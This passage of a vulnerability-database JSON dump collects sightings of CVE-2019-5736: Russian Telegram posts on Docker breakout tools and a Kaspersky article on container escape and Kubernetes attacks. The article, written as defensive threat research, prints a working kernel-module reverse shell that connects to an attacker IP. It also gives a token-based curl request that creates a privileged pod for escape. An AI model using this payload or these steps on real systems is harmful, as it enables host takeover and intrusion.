\u00ab\u041f\u043e\u0431\u0435\u0433\u00bb \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 mount\n\ud83c\udf6d \u00ab\u041f\u043e\u0431\u0435\u0433\u00bb \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 docker.sock\n\ud83c\udf6d \u00ab\u041f\u043e\u0431\u0435\u0433\u00bb \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 CVE-2019-5736 \n\ud83c\udf6d \u0421\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0430 Kubernetes \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 CVE\n\ud83c\udf6d \u0421\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u0440\u0442\u043e\u0432\n\ud83c\udf6d \u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0432 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0435\n\n\u0422\u0430\u043a\u0436\u0435 \u0440\u0435\u0431\u044f\u0442\u0430 \u0441\u0434\u0435\u043b\u0430\u043b\u0438 mapping \u043d\u0430 MITRE ATT&CK (\u00ab\u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0443\u044e\u00bb \u0432\u0435\u0440\u0441\u0438\u044e), \u0430 \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0438\u0437 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432, \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c, \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u043b\u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u0438\u0445 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f. \"\u041f\u043e\u0438\u0433\u0440\u0430\u0442\u044c\u0441\u044f\" \u0441 \u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c \u043c\u043e\u0436\u043d\u043e \u043d\u0430 Katacoda.\n\n\u0415\u0441\u043b\u0438 \u0412\u0430\u043c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u043f\u0440\u043e\u0435\u043a\u0442\u044b, \u0442\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u043f\u0440\u043e\u0435\u043a\u0442 Kubernetes Goat (\u043a\u043e\u0442\u043e\u0440\u044b\u0439, \u043a\u0441\u0442\u0430\u0442\u0438, \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0441\u044f, \u0447\u0443\u0442\u044c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0442\u0443\u0442)\n\nP.S. \u041f\u043e\u0437\u0434\u0440\u0430\u0432\u043b\u044f\u0435\u043c \u0432\u0441\u0435\u0445 \u0441 \u043d\u0430\u0441\u0442\u0443\u043f\u0430\u044e\u0449\u0438\u043c \u043f\u0440\u0430\u0437\u0434\u043d\u0438\u043a\u043e\u043c!!! \u041e\u0442\u043b\u0438\u0447\u043d\u0435\u0439\u0448\u0435\u0433\u043e \u043e\u0442\u0434\u044b\u0445\u0430!!!", "creation_timestamp": "2026-08-05T00:00:44.040162Z"}, {"uuid": "9be8772a-ff0a-4382-9547-66412b11cf2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/devsecops_weekly/303", "content": "\u0412\u0441\u0435\u043c \u043f\u0440\u0438\u0432\u0435\u0442!\n\n\u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0430\u044f \u043f\u043e\u0434\u0431\u043e\u0440\u043a\u0430 \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u043c\u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u0430\u043c\u0438 Docker Breakout:\n\n\ud83c\udf6d Mounted Docker Socket\n\ud83c\udf6d Container Capabilities \u0438 Privileged\n\ud83c\udf6d Runc exploit (CVE-2019-5736)\n\ud83c\udf6d Docker API Firewall Bypass\n\ud83c\udf6d Writable hostPath Mount \n\n\u0420\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0431\u043e\u043b\u0435\u0435 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0442\u043e\u043c \u0438\u043b\u0438 \u0438\u043d\u043e\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u0435 \u00ab\u043f\u043e\u0431\u0435\u0433\u0430\u00bb (\u0432 \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 \u044d\u0442\u043e \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e)\n\nP.S. \u041a\u0441\u0442\u0430\u0442\u0438, \u043d\u0430 \u0440\u0435\u0441\u0443\u0440\u0441\u0435 \u0435\u0449\u0435 \u043c\u043d\u043e\u0433\u043e \u0447\u0435\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0433\u043e, \u0441 \u0447\u0435\u043c \u043c\u043e\u0436\u043d\u043e \u043e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c\u0441\u044f \u0441 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435", "creation_timestamp": "2026-08-05T00:00:44.079821Z"}, {"uuid": "3b118822-fbc2-4f1d-b488-0ac652434d28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/devsecops_weekly/194", "content": "\u0412\u0441\u0435\u043c \u043f\u0440\u0438\u0432\u0435\u0442!\n\n\u0414\u043b\u044f \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0421\u0417\u0418 \u0437\u0430\u0447\u0430\u0441\u0442\u0443\u044e \u043d\u0443\u0436\u0435\u043d \u00ab\u043f\u043e\u0434\u043e\u043f\u044b\u0442\u043d\u044b\u0439\u00bb, \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c \u0438\u0441\u043f\u044b\u0442\u0430\u043d\u0438\u044f.\n\n\u041f\u043e \u0441\u0441\u044b\u043b\u043a\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u043e\u0431\u0440\u0430\u0437 BOtB: Break out of the box! \u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044e, BOtB \u2013 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430\u0445, \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0434\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f pentester\u2019\u0430\u043c\u0438 \u0438 \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u0430\u043c\u0438.\n\n\u0427\u0442\u043e \u043e\u043d \u0443\u043c\u0435\u0435\u0442? \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 (\u0441\u043f\u0438\u0441\u043e\u043a \u043d\u0435 \u043f\u043e\u043b\u043d\u044b\u0439):\n\ud83c\udf6d Container breakout \u0447\u0435\u0440\u0435\u0437 exposed Docker daemons (docker.sock)\n\ud83c\udf6d Container breakout \u0447\u0435\u0440\u0435\u0437 CVE-2019-5736\n\ud83c\udf6d Privileged container breakout \u0447\u0435\u0440\u0435\u0437 \u0438\u043c\u0435\u044e\u0449\u0438\u0435\u0441\u044f CAPS \u0438 SYSCALLS\n\ud83c\udf6d \u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f Kubernetes Service Accounts secrets \n\ud83c\udf6d \u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0438 \u0430\u043d\u0430\u043b\u0438\u0437 \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 ENV \u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0432 the ProcFS, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 /Proc/{pid}/Environ\n\n\u0412\u0441\u0435 \u0432\u044b\u0448\u0435\u043e\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0435 \u0438 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043c\u043e\u0436\u043d\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0447\u0435\u0440\u0435\u0437 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b CLI \u0438\u043b\u0438 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c YAML config file.\n\nP.S. \u0415\u0441\u043b\u0438 \u0437\u0430\u0445\u043e\u0442\u0438\u0442\u0435 \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u2013 \u0434\u0435\u043b\u0430\u0439\u0442\u0435 \u044d\u0442\u043e \u0430\u043a\u043a\u0443\u0440\u0430\u0442\u043d\u043e, \u0432 \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u043c \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0438, \u0441\u043f\u0435\u0440\u0432\u0430 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e \u0438\u0437\u0443\u0447\u0438\u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430", "creation_timestamp": "2026-08-05T00:00:44.142498Z"}, {"uuid": "d778c863-bd8e-4ef2-a915-98164602c3cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-2e54eb0a-d667ea69d57c98d8", "content": "Containers on fire: from container escapes to supply chain attacks\nIntroduction\nModern infrastructures universally rely on containerization to deploy applications, scale services, and build cloud platforms. The use of Docker, Kubernetes, and similar technologies has become the corporate standard for efficient automation. However, as containers grow in popularity, so does the interest of malicious actors \u2014 a trend we actively track in our research into advanced cyberthreats. For instance, in one of its recent attacks, the APT group TeamPCP compromised Checkmarx KICS across multiple attack chains for different vectors. This included poisoning a Docker Hub repository to later steal Kubernetes secrets and other sensitive data. The tainted images distributed a stealer that was loaded during the KICS scanning process.\nToday, attacks on container environments have evolved into full-fledged, multi-stage scenarios involving supply chain compromises, Kubernetes secrets theft, orchestration API abuse, and container escape attempts. This article examines the primary container attack vectors that retain top relevance today.\nPrinciples of containerization\nA container is an isolated code execution environment, designed to partition resources so applications can run correctly and independently. Unlike a virtual machine, a container uses the single underlying kernel of the host operating system.\nTo isolate the environment, a container uses a distinct process namespace and a virtual file system. Container resources are capped and shared with the host system. This container isolation is built on top of Linux kernel features such as namespaces, cgroups, capabilities, and seccomp.\nCompromising a container can help attackers achieve their objectives on the host system itself. Below, we examine the current vectors relevant to container implementation architecture and infrastructure.\nCurrent attack vectors\nThe primary and most critical attack vectors targeting container environments that are actively exploited by malicious actors include:\n\nExploiting vulnerabilities in the host system and container runtime components\nMalicious activity inside a compromised container\nContainer escape followed by host compromise\nExploiting misconfigurations and the insecure use of containerization and orchestration APIs\nSupply chain attacks, including container image poisoning and CI/CD pipeline compromise\nEach of these vectors can be utilized either independently or as part of a complex, multi-stage attack chain. In practice, attackers rarely stop at compromising a single container; their primary objective is often to gain access to the Kubernetes cluster, secrets management systems, or other mission-critical environment components. This is why securing container infrastructure requires a comprehensive approach that spans configuration auditing, runtime protection, activity monitoring, and software supply chain security. Let\u2019s take a closer look at each of these vectors.\nExploiting host system vulnerabilities\nBecause a container does not have its own isolated OS, vulnerabilities affecting the Linux kernel or runtime components remain just as critical when exploited from within a container.\nAny vulnerability that allows for privilege escalation, arbitrary code execution, or isolation bypassing can potentially be leveraged by an attacker once the container is compromised. Successful exploitation of these flaws can lead to a container escape, compromise of the Kubernetes node or the entire cluster, lateral movement across the infrastructure, secrets theft, and malicious actions potentially culminating in a complete service disruption. It is worth noting that the mere presence of a vulnerability does not always guarantee a compromise, as exploitation sometimes requires specific configuration settings or privileges to work.\nBelow are examples of several vulnerabilities leveraged in attacks on container environments:\n\nCVE-2019-5736 is one of the most prominent and illustrative vulnerabilities associated with containerization. It affected the runC runtime environment and allowed an attacker, who already had root access inside the container, to execute arbitrary code on the host system with root privileges. The root cause of the vulnerability was runC\u2019s improper handling of the file descriptor for its own executable via the /proc/self/exe mechanism. When a container was started, the runC process temporarily executed within the container\u2019s context while remaining a host system process. This allowed an attacker to gain access to the runC binary and overwrite its contents.\nCVE-2022-0492 is a critical Linux kernel vulnerability that allows for container escape and arbitrary command execution on the host system. The flaw stemmed from improper privilege validation when interacting with the cgroups release_agent mechanism. This vulnerability posed a particular risk for container infrastructures because it allowed an attacker who already possessed code execution capabilities inside a container to break out of isolation and gain control of the host system.\nCVE-2024-21626 is a critical vulnerability in runC that allowed an attacker to access the host file system from within a container, and in specific scenarios, even perform a complete container escape. The root cause of the issue was runC\u2019s improper handling of file descriptors and the process\u2019 current working directory when spinning up containers or executing commands via docker exec or similar mechanisms.\n\nMalicious actions inside the container\nSometimes, an attacker does not need to exploit complex attack chains involving container escapes, Kubernetes cluster compromise, or lateral movement to achieve their goals. In many cases, the container itself already houses data and resources that are highly valuable to the attacker. For example, a container may contain:\n\nUser and service credentials\nAPI keys\nAccess tokens\nSSH keys\nEnvironment variables containing secrets\nKubernetes ServiceAccount tokens\nConfiguration files\nApplication service data or databases\nThese types of data are especially prone to exposure due to configuration mistakes or specific operational processes. For instance, secrets might be passed via environment variables, baked into Docker images during the build phase, or mounted directly inside the container. In Kubernetes environments, automatically mounted ServiceAccount tokens are of particular interest to attackers, as they provide a direct pathway to interact with the Kubernetes API.\nEven a single compromised container frequently provides an attacker with sufficient leverage for next steps: gaining access to external services, compromising cloud infrastructure, stealing user data, impersonating a trusted service, or establishing persistence within the environment. Beyond data theft, malicious actors can use a compromised container as a staging ground for further malicious activity. This is why securing container infrastructure is about much more than just preventing escapes. Even a fully isolated container, if it houses sensitive data or holds access to internal services, can become a major foothold for an infrastructure breach.\nIn the context of this vector, approaches and techniques applicable not only to container environments but also to traditional systems are frequently applied. Once an attacker gains access to a container, they usually find themselves in a full-featured Linux environment, allowing them to deploy standard post-exploitation, reconnaissance, and persistence methods.\nWe explored container configuration errors and other unsafe practices that attackers could exploit to carry out malicious activities in more detail in this article.\nContainer escape\nContainer escape is one of the most dangerous and prevalent attack vectors targeting container infrastructure. The term refers to the bypassing of container isolation, allowing an attacker to directly interact with the host system.\nThe opportunity to escape a container can arise from a multitude of sources: the exploitation of vulnerabilities, container misconfigurations, or the insecure use of containerization and orchestration APIs. Indeed, container escape is the logical conclusion of most attacks on container infrastructure, as the attacker\u2019s ultimate goal is frequently to break out of the isolated environment and gain access to the host system or the broader Kubernetes cluster. As such, container escape ties together a significant portion of the attack vectors discussed in this article. In practice, misconfigurations remain one of the most common root causes of successful container escapes, as they occur far more frequently than the exploitation of complex vulnerabilities. With that in mind, we will take a closer look at container misconfigurations and their associated attack scenarios below.\nTo better understand the risks associated with container misconfigurations, let\u2019s explore the concept of capabilities in Linux systems. This is a mechanism for granularly granting extended permissions to processes, allowing them to perform privileged actions without needing full root access.\nPrivileged containers\nOne of the most dangerous configurations is running a container with the --privileged flag. In this mode, the container is granted all Linux capabilities, direct access to host devices, and the ability to interact with kernel interfaces. A container configured this way virtually ceases to be an isolated environment and, in many cases, possesses capabilities comparable to root access on the host system.\nLet\u2019s look at a basic example of a container escape attack involving the --privileged flag. Using the capsh utility, you can see that such a container possesses virtually all Linux capabilities. Furthermore, if the PID namespace matches the host\u2019s, the process with PID=1 corresponds to init, the first system process in Linux. In a different configuration, PID 1 would belong to the process that created the container. If we spawn a shell from the init process using the nsenter utility, the expected behavior is the creation of a process outside the container, which can easily be verified by using the hostname command.\nContainer privilege misconfigurations open up a broad attack surface. Let\u2019s dive deeper into how specific capabilities can be used to execute a container escape.\nCAP_SYS_ADMIN\nCAP_SYS_ADMIN is considered one of the most dangerous Linux capabilities in the context of container security. Although Linux capabilities were originally intended to break down superuser privileges into discrete categories, over time, CAP_SYS_ADMIN became a catch-all for a massive number of sensitive kernel operations. As a result, a container granted this capability gains access to a wide array of system mechanisms that directly impact container isolation. It inherits the ability to mount file systems, interact with the cgroups mechanism responsible for resource allocation, modify kernel parameters within certain limits, work with loop devices, and utilize various namespace management features. In practice, this heavily blurs the line between the container and the host system.\nThis capability becomes especially dangerous when combined with other configuration errors. For instance, if the container is configured to use the hostPath parameter, an attacker can leverage a container compromise to mount the host system\u2019s directories right into their own environment and access critical host files. Similarly, having access to /proc or /sys allows for direct interaction with internal Linux kernel mechanisms, which can drastically expand the blast radius of the breach.\nLet\u2019s look at a clear example of how having CAP_SYS_ADMIN can help an attacker escape a container. Illustrated below is the sequence of actions inside a container possessing CAP_SYS_ADMIN privileges and access to host directories. By mounting the host\u2019s disk to a folder inside the container, the attacker can freely interact with all files on the host system. In this specific example, it shows the ability to overwrite the root user\u2019s shell configuration by injecting an arbitrary malicious payload.\n\nCAP_SYS_MODULE\nCAP_SYS_MODULE provides direct access to the kernel module loading and unloading mechanism. This direct interaction with kernel space makes CAP_SYS_MODULE a high-risk capability, unlike many other capabilities that are restricted purely to user space.\nFrom a Linux architectural standpoint, kernel modules consist of code executing with maximum privileges inside kernel space. These modules can extend system functionality, manage devices, handle the network stack, interface with file systems, and control other mission-critical components. This is why the ability to dynamically load these modules via CAP_SYS_MODULE equates to having the power to manipulate the behavior of the entire operating system.\nIn practice, modern containerized applications rarely require CAP_SYS_MODULE. The presence of this capability is typically tied to legacy architectures, monitoring systems, or specialized drivers that must interact directly with the kernel. This is why CAP_SYS_MODULE is almost universally banned in modern infrastructures. In most environments, it is considered an unacceptable risk because its compromise does not just lead to localized privilege escalation within the container, but to code execution directly in kernel space.\nA container escape using this capability happens in several stages. The goal of the attack in this case is to load a malicious Linux kernel module. It is worth noting that the module must match the specific kernel version in use, requiring the attacker to perform additional reconnaissance to identify it. These attacks can be executed entirely within the container if it contains the necessary build tools to compile the module and has access to kernel dependency directories. However, because these utilities are typically stripped from container images, attackers usually compile the malicious payload with the required dependencies on an external host. They then either transfer it over the network or drop it into a binary file on the target by using a command like echo.\nLet\u2019s look at a container escape using a kernel module with the following payload example:#include <linux/kmod.h>#include <linux/module.h>MODULE_LICENSE(\"Test\");MODULE_AUTHOR(\"Test\");MODULE_DESCRIPTION(\"reverse shell module\");MODULE_VERSION(\"1.0\");\nchar* argv[] = {\"/bin/bash\",\"-c\",\"bash -i >& /dev/tcp/<IP>/<Port> 0>&1\", NULL};static char* envp[] = {\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\", NULL };\nstatic int __init reverse_shell_init(void) { return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);}\nstatic void __exit reverse_shell_exit(void) { printk(KERN_INFO \"Exiting\\n\");}\nmodule_init(reverse_shell_init);module_exit(reverse_shell_exit);Upon loading, this module triggers the reverse shell. Once the payload is built and successfully delivered to the container, all the attacker needs to do is start a listener on the IP address and port specified in the payload, and then load the module into kernel space.\n\nCAP_SYS_PTRACE\nThe CAP_SYS_PTRACE capability grants a process elevated permissions to interact with other system processes via the ptrace system call. While it is designed for debugging and code tracing, its misconfiguration in containerized environments can severely weaken isolation and, under certain conditions, enable a container escape leading to host system compromise.\nThe primary risk of CAP_SYS_PTRACE is that it allows a process to read and modify the memory of other processes, control their execution, inject code, and extract sensitive data directly from memory. Furthermore, CAP_SYS_PTRACE enables process injection techniques.\nIf a container is compromised, an attacker can use ptrace to attach to host processes. Crucially, this is only possible if the host\u2019s PID namespace is shared with the container \u2014 this is configured via hostPID: true. This configuration allows the attacker to target a process running on the host, inject code, and trigger a reverse shell \u2014 though in most cases, this requires additional malicious code. The image below demonstrates this kind of an attack, implemented using a publicly available PoC.\n\nCAP_NET_ADMIN\nCAP_NET_ADMIN provides extensive privileges to manage the network stack of a Linux system. If a container is compromised, the presence of this capability significantly weakens network isolation and creates additional opportunities for further exploitation.\nA container equipped with CAP_NET_ADMIN can modify network interface configurations, manipulate routing tables, interact with traffic filtering mechanisms, and alter the behavior of the network stack. Although most of these operations are formally restricted to the container\u2019s own network namespace, in practice, this capability is frequently combined with other misconfigurations \u2014 such as the hostNetwork: true parameter \u2014 which grants direct access to the host\u2019s network resources.\nOnce inside the container, an attacker can leverage this capability to modify its network behavior and launch further attacks across the infrastructure. One of the most common scenarios involves manipulating iptables rules to redirect traffic. This enables man-in-the-middle (MitM) attacks, allowing the attacker to intercept internal traffic or mask their own malicious activities.\nIt is important to emphasize that there are many other Linux capabilities that can lead to a container escape when combined with specific misconfigurations; we have highlighted only a few of the most severe and frequently encountered.\nExploitation of orchestration APIs\nOne of the most dangerous and common attack vectors in containerized infrastructure is the exploitation of misconfigured container management and orchestration APIs. Unlike attacks that require complex kernel vulnerability exploits or container escape, this scenario is often remarkably straightforward: the attacker simply needs to gain access to the control interfaces of the container environment.\nThe fundamental risk stems from the fact that container platform APIs possess inherent administrative privileges over the entire infrastructure. The Docker API, Kubernetes API, and kubelet API are designed to spin up containers, modify configurations, access host file systems, and execute commands inside running containers. When misconfigured, these interfaces immediately become a point of failure for the entire environment.\nOne of the most notorious examples of this vector is an exposed Docker API. If the Docker daemon is accessible over TCP without TLS or authentication, an attacker can remotely interact with the host system with permissions equivalent to a local administrator. They can deploy new containers custom-configured for attacks, mount the host\u2019s entire root file system, and execute arbitrary commands within any container via the API. In practice, compromising an unauthenticated Docker API typically leads to a complete host takeover after just a few API requests.\nSimilar risks exist within Kubernetes environments. The Kubernetes API server acts as the central control point for the entire cluster. If an attacker manages to compromise a ServiceAccount token, exploit weak RBAC policies, or discover an inadvertently exposed API server, they can execute a broad spectrum of destructive operations.\nFor the sake of this attack example, let us assume that an attacker has compromised a Kubernetes API token for a privileged account. First, they enumerate the token\u2019s permissions, typically by running a script to query each individual capability. This gives them a full list of Kubernetes privileges.The script\u2019s output reveals that the compromised API token grants exceptionally high privileges within the cluster. The logical next step in the attack chain is to deploy a malicious, privileged container to execute any of the host escape techniques described above. In our example, the attacker used a curl POST request to the API to create the container:curl -k -X POST https://<kubernetes-url>/api/v1/namespaces/default/pods -H \"Authorization: Bearer <Token>\" -H \"Content-Type: application/json\" -d @pod.json\nThe configuration passed in the pod.json file is explicitly designed to enable an escape:\n{ \"apiVersion\": \"v1\", \"kind\": \"Pod\", \"metadata\": { \"name\": \"privileged-pod-from-api\" }, \"spec\": { \"containers\": [ { \"name\": \"debug-container\", \"image\": \"ubuntu:latest\", \"command\": [\"sleep\", \"3600\"], \"securityContext\": { \"privileged\": true } } ] }}\nOnce the privileged container is deployed, the attacker can execute an escape to compromise the underlying host system.\nHowever, this is not the only high-risk scenario involving API requests. For instance, when a Docker socket is mounted inside a container, an attacker gains the ability to interact with the Docker daemon directly. Once that container is compromised, the attacker effectively inherits the privileges of the daemon, which means they gain control over all containers on the host.\nTo execute the attack, adversaries look for containers with mounted sockets. The further progression of the attack replicates what has been described above: an API request is made to create a privileged container, after which any escape method is similarly exploited using the API.\n\nSupply chain attacks\nUnlike classic attacks aimed at exploiting vulnerabilities in already deployed containers, this approach focuses on compromising components before they are even launched in the runtime environment. Modern container infrastructure is tightly integrated with a large number of external components. As a result, container security directly depends not only on the application itself, but on the entire image build and delivery chain. Compromising any of these stages potentially allows an attacker to inject malicious code into multiple containers and services simultaneously.\nOne of the most common scenarios involves attacks that contaminate container images. In many organizations, developers use public images from Docker Hub or other available sources without a full verification of their origin or contents. Threat actors frequently publish contaminated images that masquerade as popular services and utilities. Once a container like that is launched within the infrastructure, the attacker gains the ability to execute their own code right inside the organization\u2019s trusted environment.\nFurthermore, CI/CD container deployment systems are among the most frequent targets of these attacks. Application build and delivery platforms typically possess elevated privileges. For instance, after gaining access to a CI/CD system, an attacker can covertly modify the Docker image build stages. Instead of altering the application\u2019s source code, the attacker can inject the malicious logic directly into the pipeline itself. An additional command during the build process can download a third-party binary, add a hidden script, modify the container configuration, or implant a remote management mechanism. Externally, the container will look completely legitimate because its core functionality remains unchanged.\nTakeaways\nOverall, modern attacks on container environments demonstrate that the primary threat arises not just from within the container itself, but from the implementation of the container infrastructure as a whole. Containers are frequently exploited as an initial foothold to establish persistence within a system; following an initial compromise, attackers aim to either escalate to the host OS level or gain control over infrastructure management via containerization and orchestration APIs. To achieve this, they exploit weak configurations, excessive capabilities, and isolation flaws.\nFurthermore, there is a visible trend of attacks shifting toward CI/CD pipelines, where compromising a single component can lead to a full infrastructure takeover. Therefore, under current realities, securing containerized environments requires an approach that encompasses host protection, strict access control within the orchestrator, minimization of container capabilities, and comprehensive validation of the entire supply chain. Our solution Kaspersky Container Security has been designed with the specific characteristics of container environments in mind and provides protection at various levels from container images to the host system helping to implement the principles of secure software development. \nsecurelist.com/container-attac\u2026", "creation_timestamp": "2026-06-01T10:16:59.987713Z"}, {"uuid": "64417031-289c-4b3d-968d-d9e0838b9125", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://bsky.app/profile/boredchilada.bsky.social/post/3mna3ohgkys2y", "content": "~Kaspersky~\nAttacks on containers use misconfigurations, API abuse, and supply chain compromises to escape and breach hosts.\n-\nIOCs: CVE-2019-5736, CVE-2022-0492, CVE-2024-21626\n-\n#Containers #Kubernetes #ThreatIntel", "creation_timestamp": "2026-06-01T12:34:03.493050Z"}, {"uuid": "5dfbe89f-d90e-4767-ad5b-9c12788148ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 